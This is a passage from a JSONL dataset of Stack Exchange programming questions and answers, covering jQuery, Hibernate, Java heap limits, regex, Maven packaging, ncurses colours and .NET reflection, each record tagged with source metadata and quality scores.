templating, personalization, dynamic framework.  You might check out WSS/SharePoint in this case, because it may get you further down the field out of the box.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.509352"}
{"id": "hf_782505d8c387", "question": "<p>I want to use the Date::ABBR_MONTHS constant in my rails application. I see the Ruby stdlib documentation at <a href=\"http://www.ruby-doc.org/stdlib/\" rel=\"nofollow noreferrer\">http://www.ruby-doc.org/stdlib/</a> which does not seem to have this constant. \nHowever, this constant is there at <a href=\"http://stdlib.rubyonrails.org/\" rel=\"nofollow noreferrer\">http://stdlib.rubyonrails.org/</a></p>\n\n<p>What is the difference between these two libraries?</p>\n\n<p>This constant is working on my unix deployment machine but not on my dev machine on windows. Can anybody explain whats going on?</p>\n", "question_body": "", "answer": "```\nABBR_MONTHS\n```\nis something you get given to you by ActiveSupport and it's just added into the Date class. The first library is for ruby, where the second one is for ruby on rails. The constant may not be working because of different versions of Rails.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.544983"}
{"id": "hf_054a7870e5dd", "question": "<p>Seems to me most of developers completely ignore this features. People prefer handling security exceptions as generic ones relying on standard windows roles and rights instead of learning to use CAS ways of enhancing security - probably because CAS is quite confusing in its logic and naming.</p>\n\n<p>Can anyone suggest any general rule-of-thumb/best practices for using CAS at his best in a clean way? </p>\n", "question_body": "", "answer": "See also\nthis discussion\n.\nThe problem is exacibated because a lot of code (perhaps too much) runs at full trust. And then the only checks that get done are things like PrincipalPermissionAttribute checks - most of the rest are simply bypassed. So in many cases there isn't much point! Unless you are loading in external (untrusted) files [and so need CAS], it simply doesn't add a lot in many cases (and yes, there are plenty of exceptions).\nCAS is much more useful for clients running in the sandbox (for example downloaded from the internet). Sliverlight takes this to the extreme, with stricter rules (especially around reflection) than regular .NET.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.580560"}
{"id": "hf_35972d6f2d45", "question": "<p>I'm writing a game in Java, and I want the user to be able to provide input from both the command line and my GUI. Currently, I use this method to get input:<br></p>\n\n<pre><code>    static String getInput(){\n        System.out.println(\"Your move:\");\n        Scanner sc = new Scanner(System.in);\n        return sc.nextLine();\n    }\n</code></pre>\n\n<p>I want to keep using this, but let a mousePressed event emulate the user actually typing in their input as well.  It's not that efficient of a solution, but it makes sense in my application. So the question is: how do I simulate a user typing to System.in from the code side?</p>\n", "question_body": "", "answer": "I made an application once that could run via the command line or using a GUI.\nThe way I did this was to define an Interface (named IODevice) which defined the following methods:\npublic String getInput();\npublic void showOutput(String output);\nI then had two classes which implemented this interface - One used the host computer's terminal (as you are doing now) and one used a JTextArea (output) / JOptionPane (input).\nPerhaps you could do something similar - To change the input device used, simply change the instance of the IODevice.\nHope this is of some use.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.616867"}
{"id": "hf_3c6157f2973b", "question": "<p>For PHP, what is the default time after which an HTTP request is deemed to have timed out? </p>\n\n<p>I'm using the PECL HTTP extension to make HTTP requests. I can set a timeout limit when making a request, however I'd like to know what the default is if nothing is explicitly specified.</p>\n\n<p>I've hunted through the PHP manual to no avail. I'd appreciate answers supported by evidence, such as a link to the relevant manual page, as opposed to speculative suggestions.</p>\n\n<p>I'm keen to find out what the default timeout <em>actually</em> is not just what it <em>probably</em> is. I can guess it may <em>probably</em> be 30 seconds as this seems a reasonable value, however I can find nothing to confirm or deny this.</p>\n", "question_body": "", "answer": "I'm quite sure what you're looking for is the\ndefault_socket_timeout\nphp.ini option.  It appears the default is 60 seconds.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.722870"}
{"id": "hf_7f089f7cca2f", "question": "<p>I notice sometimes with my parent/child objects or many-to-many relationships, I need to call either <code>SaveOrUpdate</code> or <code>Merge</code>. Usually, when I need to call <code>SaveOrUpdate</code>, the exception I get on calling <code>Merge</code> has to do with transient objects not being saved first.</p>\n\n<p>Please explain the difference between the two.</p>\n", "question_body": "", "answer": "This is from section\n10.7. Automatic state detection\nof the Hibernate Reference Documentation:\nsaveOrUpdate() does the following:\nif the object is already persistent in this session, do nothing\nif another object associated with the session has the same identifier,\n   throw an exception\nif the object has no identifier property, save() it\nif the object's identifier has the value assigned to a newly\n   instantiated object, save() it\nif the object is versioned (by a <version> or <timestamp>), and the\n   version property value is the same value assigned to a newly\n   instantiated object, save() it\notherwise update() the object\nand merge() is very different:\nif there is a persistent instance with the same identifier currently\n   associated with the session, copy the state of the given object onto\n   the persistent instance\nif there is no persistent instance currently associated with the\n   session, try to load it from the database, or create a new persistent\n   instance\nthe persistent instance is returned\nthe given instance does not become associated with the session, it\n   remains detached\nYou should use Merge() if you are trying to update objects that were at one point detached from the session, especially if there might be persistent instances of those objects currently associated with the session. Otherwise, using SaveOrUpdate() in that case would result in an exception.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.792500"}
{"id": "hf_f2b3ec3d9c5a", "question": "<p>What is the best method for removing a table row with jQuery?</p>\n", "question_body": "", "answer": "Is the following acceptable:\n```\n```\n$('#myTableRow').remove();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.839853"}
{"id": "hf_29994cdcf612", "question": "<p>I want to recreate the the update panel postback without using an update panel to do the postback.  What is the generic method for doing this?</p>\n\n<p>For example, on Stackoverflow, when you vote up or down on a question it does a postback to update the database and I would bet they didn't use an update panel.</p>\n\n<p>What do I have?</p>\n\n<p>I have a table with table data.  When I click on the <code>td</code> item as a whole column, I want to do an update to the database and also update a gridview on the page itself.  The gridview shows all the currently clicked items in the table because it was updated via \"our method\".</p>\n\n<p>Looking for a good generic method I could use for a lot of async postbacks without update panel.</p>\n", "question_body": "", "answer": "You can just use a standard AJAX call to accomplish this.  Create a .aspx page which updates the database in its Page_Load method, and displays any desired information (like the current DB value after the update) as XML.  Then make an AJAX call to that page using jQuery.\nYou can also return an HTML fragment (i.e. an updated GridView), and use jQuery to insert the updated HTML into the current page.\nEdit:\nSample 2 on this page should be very close to what you want:\nhttp://www.codeproject.com/KB/ajax/AjaxJQuerySample.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.867493"}
{"id": "hf_55a584d74db7", "question": "<p>Any pointers on how to initiate serial communication with the iphone?  Or any other idea to interact with external hardware?</p>\n", "question_body": "", "answer": "It depends on what you want to do. For an SSH terminal connection I reccomend TouchTerm (search the appstore).\nI have no experience with electrical connections, but you can find the pinout of the iPod/iPhone connector here:\nhttp://pinouts.ru/PortableDevices/ipod_pinout.shtml\nYou can then download the iPhone developer kit here:\nhttp://developer.apple.com/iphone/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.895111"}
{"id": "hf_30a4765d7a3d", "question": "<p>I'm using jQuery to add an additional row to a table as the last row.</p>\n<p>I have done it this way:</p>\n<pre><code>$('#myTable').append('&lt;tr&gt;&lt;td&gt;my data&lt;/td&gt;&lt;td&gt;more data&lt;/td&gt;&lt;/tr&gt;');\n</code></pre>\n<p>Are there limitations to what you can add to a table like this (such as inputs, selects, number of rows)? Is there a different way to do it?</p>\n", "question_body": "", "answer": "The approach you suggest is not guaranteed to give you the result you're looking for - what if you had a\n```\ntbody\n```\nfor example:\n```\n```\n<table id=\"myTable\">\n  <tbody>\n    <tr>...</tr>\n    <tr>...</tr>\n  </tbody>\n</table>\n```\n```\nYou would end up with the following:\n```\n```\n<table id=\"myTable\">\n  <tbody>\n    <tr>...</tr>\n    <tr>...</tr>\n  </tbody>\n  <tr>...</tr>\n</table>\n```\n```\nI would therefore recommend this approach instead:\n```\n```\n$('#myTable tr:last').after('<tr>...</tr><tr>...</tr>');\n```\n```\nYou can include anything within the\n```\nafter()\n```\nmethod as long as it's valid HTML, including multiple rows as per the example above.\nUpdate:\nRevisiting this answer following recent activity with this question. eyelidlessness makes a good comment that there will always be a\n```\ntbody\n```\nin the DOM; this is true, but only if there is at least one row. If you have no rows, there will be no\n```\ntbody\n```\nunless you have specified one yourself.\nDaRKoN_\nsuggests\nappending to the\n```\ntbody\n```\nrather than adding content after the last\n```\ntr\n```\n. This gets around the issue of having no rows, but still isn't bulletproof as you could theoretically have multiple\n```\ntbody\n```\nelements and the row would get added to each of them.\nWeighing everything up, I'm not sure there is a single one-line solution that accounts for every single possible scenario. You will need to make sure the jQuery code tallies with your markup.\nI think the safest solution is probably to ensure your\n```\ntable\n```\nalways includes at least one\n```\ntbody\n```\nin your markup, even if it has no rows. On this basis, you can use the following which will work however many rows you have (and also account for multiple\n```\ntbody\n```\nelements):\n```\n```\n$('#myTable > tbody:last-child').append('<tr>...</tr><tr>...</tr>');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.943047"}
{"id": "hf_830293eb31dc", "question": "<p>I need an API that can make menus like Win32API,<br>\nBut something simpler and better than WinAPI.<br>\nThat can make GUI, with text zones, buttons etc...like an average Windows program.(Windows GUI Style)<br>\nCan anyone recommand on one like it? Thanks.</p>\n", "question_body": "", "answer": "wxWidgets\n:\nwxWidgets lets developers create applications for Win32, Mac OS X, GTK+, X11, Motif, WinCE, and more using one codebase. It can be used from languages such as C++, Python, Perl, and C#/.NET. Unlike other cross-platform toolkits, wxWidgets applications look and feel native. This is because wxWidgets uses the platform's own native controls rather than emulating them. It's also extensive, free, open-source, and mature.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:38.967927"}
{"id": "hf_68d11e49d6fb", "question": "<p>There are several web applications which allow you to send photos from your mobile phone and post them to web site/application. How do these work and what sort of technologies would one use to implement such a feature?  Is it an MMS server or does one need to get into socket programming?  For example, some applications provide you with an email address to email your photos to via mobile phone.  I'm curious to know how these things work.  I can somewhat figure out on my own how they work, but I would like to know this feature is normally implemented. </p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I think you have three options to support this:\nMMS - you would need an\nMMS gateway\nto recieve MMS messages. This can be software/hardware that you run yourself, or there are services were you pay per message. You would likely need to write your own handling of the message at the application end.\nEmail - you just provide users with an email address to send picture to and you either interface with the email server via POP/IMAP or with the message store directly.\nWeb form - you implement a web form specifically designed for mobile devices that lets them upload pictures. In truth I have no idea if and how many devices support\n```\n<input type=\"file\" />\n```\n, so this may not actually be an option at all.\nYou can use whatever server-side technology you prefer for processing each of these.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.059255"}
{"id": "hf_8926bf53df4a", "question": "<p>So is there a way to initialize and start a command line Spring app without writing a main method. It seems like all such main methods have the same form</p>\n\n<pre><code>public static void main(final String[] args) throws Exception {\n    ApplicationContext ctx = new ClassPathXmlApplicationContext(\"context.xml\", Boot.class);\n    FooService fooService = (FooService) ctx.getBean(\"fooService\");\n    fooService.bar();\n}\n</code></pre>\n\n<p>I suppose that's not complicated, but has someone found a way to provide a way to just specify the <code>context.xml</code> at the command line or, better yet, in a manifest file?</p>\n\n<p>The goal here is to simplify the creation of spring applications as executable jars. I hope that I can specify some utility class as the <code>Main-Class</code> in the manifest. I suppose I would also need to specify the starting point for the app, a bean and a method on it where begins the process.</p>\n", "question_body": "", "answer": "I'll try to answer the question as I understand it:\nHow to package a jar containing a spring configuration such as I just need to use\n```\njava -jar myjar.jar\n```\n?\nThe code snippet you have in your question simply works. You don't have to parameterise the\n```\ncontext.xml\n```\n. You just need to bundle your code and its dependencies (spring, etc.) in a single jar with a proper manifest entry for the main class in a jar file.\nI personaly use\nmaven 2\nand here is a\npom.xml\nI would use that do just that:\n```\n```\n<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>com.stackoverflow</groupId>\n  <artifactId>stackoverflow-autostart-spring-app</artifactId>\n  <version>0.1</version>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring</artifactId>\n      <version>2.5.2</version>\n    </dependency>\n  </dependencies>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifest>\n              <mainClass>com.stackoverflow.spring.autostart.Autostart</mainClass>\n            </manifest>\n          </archive>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-shade-plugin</artifactId>\n        <executions>\n          <execution>\n            <phase>package</phase>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n```\n```\nThis is assuming some package name for the java code, the source code being in the\n```\nsrc/main/java\n```\ndirectory and the file\n```\ncontext.xml\n```\nin the\n```\nsrc/main/resources\n```\ndirectory.\nSo in this\n```\npom.xml\n```\nthere are several important points:\nthe spring dependency (speaks for itself I believe)\nthe configuration of the\nmaven jar plugin\n, that adds the main class as a manifest entry\nthe\nmaven shade plugin\n, which is the plugin responsible for gathering all the dependencies/classes and packaging them into one single jar.\nThe executable jar will be available at\n```\ntarget\\stackoverflow-autostart-spring-app-0.1.jar\n```\nwhen running\n```\nmvn package\n```\n.\nI have this code all working on my box but just realised that I can't attach a zip file here. Anyone know of place I could do so and link here?\nI created a\ngit repository at github\nwith the code related to this question if you want to check it out.\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.105549"}
{"id": "hf_f5e5c5b33bf1", "question": "<p>I've implemented a basic search for a research project. I'm trying to make the search more efficient by building a <a href=\"http://en.wikipedia.org/wiki/Suffix_tree\" rel=\"noreferrer\">suffix tree</a>. I'm interested in a C# implementation of the <a href=\"http://en.wikipedia.org/wiki/Ukkonen%27s_algorithm\" rel=\"noreferrer\">Ukkonen</a> algorith. I don't want to waste time rolling my own if such implementation exists.</p>\n", "question_body": "", "answer": "Hard question.  Here's the closest to match I could find:\nhttp://www.codeproject.com/KB/recipes/ahocorasick.aspx\n, which is an implementation of the Aho-Corasick string matching algorithm.  Now, the algorithm uses a suffix-tree-like structure per:\nhttp://en.wikipedia.org/wiki/Aho-Corasick_algorithm\nNow, if you want a prefix tree, this article claims to have an implementation for you:\nhttp://www.codeproject.com/KB/recipes/prefixtree.aspx\n<\nHUMOR\n> Now that I did your homework, how about you mow my lawn.  (Reference:\nhttp://flyingmoose.org/tolksarc/homework.htm\n) <\n/HUMOR\n>\nEdit\n: I found a C# suffix tree implementation that was a port of a C++ one posted on a blog:\nhttp://code.google.com/p/csharsuffixtree/source/browse/#svn/trunk/suffixtree\nEdit\n: There is a new project at Codeplex that is focused on suffix trees:\nhttp://suffixtree.codeplex.com/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.154706"}
{"id": "hf_7f0a52865086", "question": "<p>I've always been able to allocate 1400 megabytes for Java SE running on 32-bit Windows XP (Java 1.4, 1.5 and 1.6).</p>\n\n<pre><code>java -Xmx1400m ...\n</code></pre>\n\n<p>Today I tried the same option on a new Windows XP machine using Java 1.5_16 and 1.6.0_07 and got the error:</p>\n\n<pre><code>Error occurred during initialization of VM\nCould not reserve enough space for object heap\nCould not create the Java virtual machine.\n</code></pre>\n\n<p>Through trial and error it seems 1200 megabytes is the most I can allocate on this machine.</p>\n\n<p>Any ideas why one machine would allow 1400 and another only 1200?</p>\n\n<p>Edit: The machine has 4GB of RAM with about 3.5GB that Windows can recognize.</p>\n", "question_body": "", "answer": "The JVM needs contiguous memory and depending on what else is running, what was running before, and how windows has managed memory you may be able to get up to 1.4GB of contiguous memory.  I think 64bit Windows will allow larger heaps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.182021"}
{"id": "hf_83c7f46ff883", "question": "<p>Has anyone ever heard of a UNIX shell written in a reasonable language, like Python?</p>\n", "question_body": "", "answer": "Well, there's emacs, which is arguably a shell written in lisp :)\nSeriously though, are you looking for a reimplementation of an existing shell design in a different language such as Python? Or are you looking for a new implementation of a shell language that looks similar to your language of choice?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.272588"}
{"id": "hf_cbb99e7a5348", "question": "<p>How to I get the Fixnum returned by the following:</p>\n\n<pre><code>\"abc\"[2] \n</code></pre>\n\n<p>Back into a character?</p>\n", "question_body": "", "answer": "This will do it (if n is an integer):\n```\n```\nn.chr\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.296516"}
{"id": "hf_c615291de2c0", "question": "<p>Is there a way for me to add logging so that entering and exiting methods gets logged along with parameters automatically somehow for tracing purposes? How would I do so?</p>\n\n<p>I am using Log4Net.</p>\n", "question_body": "", "answer": "The best way to achieve this sort of thing is by using interception,  There are a couple of ways to do this, though they all tend to be somewhat invasive.  One would be to derive all your objects from ContextBoundObject.\nHere\nis an example of using this sort of approach.  The other approach would be to use one of the existing AOP libraries to achieve this.  Something like DynamicProxy from the\nCastle Project\nis at the core of many of these.  Here are a few links:\nSpring.Net\nPostSharp\nCecil\nThere are probably several others, and I know\nCastle Windsor\n, and\nNinject\nboth provide AOP capabilities on top of the IoC functionality.\nOnce AOP is in place you would simply write an interceptor class that would write the information about the method calls out to log4net.\nI actually wouldn't be surprised if one of the AOP frameworks would give you that sort of functionality out of the box.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.320434"}
{"id": "hf_06e7b0510a8b", "question": "<p>I'm trying to Unit Test a class that has many internal functions. These obviously need testing too, but my Tests project is seperate, mainly because it covers many small, related projects. What I have so far is:</p>\n\n<pre><code>FieldInfo[] _fields = \n    typeof(ButtonedForm.TitleButton).GetFields(\n        BindingFlags.NonPublic | BindingFlags.Instance | \n        BindingFlags.DeclaredOnly);\nConsole.WriteLine(\"{0} fields:\", _fields.Length);\nforeach (FieldInfo fi in _fields)\n{\n    Console.WriteLine(fi.Name);\n}\n</code></pre>\n\n<p>This spits out all the private members nicely, but still doesn't display internals. I know this is possible, because when I was messing around with the autogenerated tests that Visual Studio can produce, it asked about something to do with displaying internals to the Test project. Well, now I'm using NUnit and really liking it, but how can I achieve the same thing with it?</p>\n", "question_body": "", "answer": "It would be more appropriate to use the\n```\nInternalsVisibleTo\n```\nattribute to grant access to the internal members of the assembly to your unit test assembly.\nHere is a link with some helpful additional info and a walk through:\nThe Wonders Of InternalsVisibleTo\nTo actually answer your question... Internal and protected are not recognized in the .NET Reflection API.  Here is a quotation from\nMSDN\n:\nThe C# keywords protected and internal have no meaning in IL and are not used in the Reflection APIs. The corresponding terms in IL are Family and Assembly. To identify an internal method using Reflection, use the\nIsAssembly\nproperty. To identify a protected internal method, use the\nIsFamilyOrAssembly\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.403456"}
{"id": "hf_cc654af818ab", "question": "<p>I'm writing a quick Rails app and was wondering how I can validate the success an exec'd command.  The two commands I'm running are and SVN update, and a cp from one directory to another.</p>\n", "question_body": "", "answer": "For SVN update, check the version number before and after the update.\n```\n```\nsvn_start_version = IO.popen(\"svn info\").readlines[4]\n`svn update`\nsvn_end_version = IO.popen(\"svn info\").readlines[4]\nif svn_end_version > svn_start_version\n  \"success\"\nend\n```\n```\nFor the cp, you could do a filesize check on the original file being equal to the copied file.\n```\n```\nsource_file_size = IO.popen(\"du file1\").readlines\n`cp file1 file2`\ndest_file_size = IO.popen(\"du file2\").readlines\nif dest_file_size == source_file_size\n  \"success\"\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.427553"}
{"id": "hf_d4d15329698f", "question": "<p>I am VERY new to ASP.NET.  I come from a VB6 / ASP (classic) / SQL Server 2000 background.  I am reading a lot about Visual Studio 2008 (have installed it and am poking around).  I have read about \"reflection\" and would like someone to explain, as best as you can to an older developer of the technologies I've written above, what exactly Reflection is and why I would use it...  I am having trouble getting my head around that.  Thanks!</p>\n", "question_body": "", "answer": "Reflection is how you can explore the internals of different Types, without normally having access (ie. private, protected, etc members).\nIt's also used to dynamically load DLL's and get access to types and methods defined in them without statically compiling them into your project.\nIn a nutshell: Reflection is your toolkit for peeking under the hood of a piece of code.\nAs to why you would use it, it's generally only used in complex situations, or code analysis. The other common use is for loading precompiled plugins into your project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.503321"}
{"id": "hf_16b9bda91721", "question": "<p>I basically have an xml column, and I need to find and replace one tag value in each record.</p>\n", "question_body": "", "answer": "To find a content in an XML column, look into the exist() method, as described in MSDN\nhere\n.\n```\n```\nSELECT * FROM Table\nWHERE XMLColumn.exist('/Root/MyElement') = 1\n```\n```\n...to replace, use the modify() method, as described\nhere\n.\n```\n```\nSET XMLColumn.modify('\n  replace value of (/Root/MyElement/text())[1]\n  with \"new value\"\n')\n```\n```\n..all assuming SqlServer 2005 or 2008.  This is based on XPath, which you'll need to know.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.561722"}
{"id": "hf_b9be9f8e0154", "question": "<p>I've got an app that my client wants to open a kiosk window to ie on startup that goes to their corporate internet.  Vb isn't my thing but they wanted it integrated into their current program and I figured it would be easy so I've got</p>\n\n<pre><code>Shell (\"explorer.exe http://www.corporateintranet.com\")\n</code></pre>\n\n<p>and command line thing that needs to be passed is -k</p>\n\n<p>Can't figure out where in the hell to drop this to make it work.  Thanks in advance! :)</p>\n", "question_body": "", "answer": "If you would like to use -k, you will probably want to call\n```\niexplore.exe\n```\ninstead of\n```\nexplorer.exe\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.596870"}
{"id": "hf_852f0b11cc7a", "question": "<p>I'm curious what tools people have found useful for building flowcharts. Obviously MS Visio and OmniGraffle come to mind but they both feel so bloated and also tend to emphasize the document formatting/printing side and less on helping to organize the actual logic. Is there anything else out there that fellow developers would recommend?</p>\n\n<p>I'm hoping to find something fairly simple that would let me throw together flowcharts on the fly when I'm working through complex logic. I don't care about formatting or fonts or the like, just something that would help me keep my logic organized as I work through it. Even something that would arrange the chart itself and simply allow me to specify where to branch and what to check, etc.</p>\n\n<p>Any OS would be fine, though I personally lean towards OS X apps as this has recently been my primary work environment.</p>\n", "question_body": "", "answer": "Though you list it as bloated I nonetheless use\nOmniGraffle\n.\nFor quick flowcharting a series of boxes with lines to magnets in the boxes is sufficient, but the rest of the formatting options are good to have later. I find that any flowchart I take the time to draw generally ends up in a document somewhere. Even when I'm just trying to understand some difficult code, I end up with a one page document which attempts to explain that code for the next poor schmuck who has to dig in.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.635417"}
{"id": "hf_2e9d50ed3d15", "question": "<p>I have a value like this:</p>\n\n<pre class=\"lang-none prettyprint-override\"><code>\"Foo Bar\" \"Another Value\" something else\n</code></pre>\n\n<p>What regex will return the values enclosed in the quotation marks (e.g. <code>Foo Bar</code> and <code>Another Value</code>)?</p>\n", "question_body": "", "answer": "In general, the following regular expression fragment is what you are looking for:\n```\n```\n\"(.*?)\"\n```\n```\nThis uses the non-greedy *? operator to capture everything up to but not including the next double quote. Then, you use a language-specific mechanism to extract the matched text.\nIn Python, you could do:\n```\n```\n>>> import re\n>>> string = '\"Foo Bar\" \"Another Value\"'\n>>> print re.findall(r'\"(.*?)\"', string)\n['Foo Bar', 'Another Value']\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.664964"}
{"id": "hf_eaea672036dd", "question": "<p>I've got 256 colors working great in my terminal (<a href=\"http://www.frexx.de/xterm-256-notes/\" rel=\"noreferrer\">test scripts here</a>), but it stops working when I use ncurses (via Ruby-ncurses). Printing the escape sequences given on that page works fine, but when I initialize ncurses 'puts' stops working and I can't output the colors with any of the various ncurses color changing/string output functions I've found. What gives?</p>\n", "question_body": "", "answer": "I am not sure if this would be all the story, but make sure your terminal capabilities do indeed provide for the 256 colors description.\nWhat is the TERM environment variable value? Try setting it to xterm-256color and rerun it.\nncurses should then get the proper color escape sequences.\nYou can also test the terminal capabilities and terminal color output with the program we use at SXEmacs development:\nhttp://www.triatlantico.org/tmp/tty-colors.c\nCompile with gcc -o tty-colors tty-colors.c -lncurses\nEDIT:\nNote that just because the scripts that are found on the net output the 256 colors, that is not \"all set\".\nCurses programs rely on terminfo and termcap and the TERM environment variable to find out how to interact with the terminal.\nSo in order for a curses app to be able to use the 256 colors one should set the TERM variable to an existing terminal name which supports 256 colors.\nThe C program above will show you\nwhat\nncurses thinks about your terminal, not just output the xterm sequences like most scripts do [even the one from X.org]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.688994"}
